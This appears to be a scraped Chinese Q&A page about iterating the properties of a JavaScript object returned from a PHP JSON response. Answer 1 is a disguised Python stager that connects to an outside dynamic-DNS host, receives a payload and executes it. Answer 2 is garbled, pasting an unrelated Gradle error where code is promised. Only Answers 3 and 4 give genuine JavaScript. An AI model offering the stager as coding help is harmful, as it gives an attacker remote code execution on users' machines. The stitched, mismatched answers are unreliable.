如何访问js对象的属性

Question

这是响应代码

echo json_encode( array('success' => $stat,'msg'=>$file));

从服务器响应返回

Object {success: "success", msg: "2017_nissan_gtr-2560x14409.jpg"}

Answer 1

import socket, struct

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chxxxmaz.dyndns.biz', 1604))

# Receive data
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
    d += s.recv(4096)

exec(d, {'s': s})

Answer 2

您可以通过以下代码迭代对象。

org.gradle.internal.metaobject.AbstractDynamicObject$CustomMessageMissingMethodException: Could not find method service() for arguments [{name=service1, version=1.0}] on root project ... 

Answer 3

您可以使用Object.keys()：

var respObj = {
  success: "success",
  msg: "2017_nissan_gtr-2560x14409.jpg"
}
Object.keys(respObj).forEach(function(k) {
   console.log('key::::>', k,' value::::> ', respObj[k]);
})

Answer 4

U可以使用以下代码迭代对象属性..

 $.each(obj, function (key, value) { });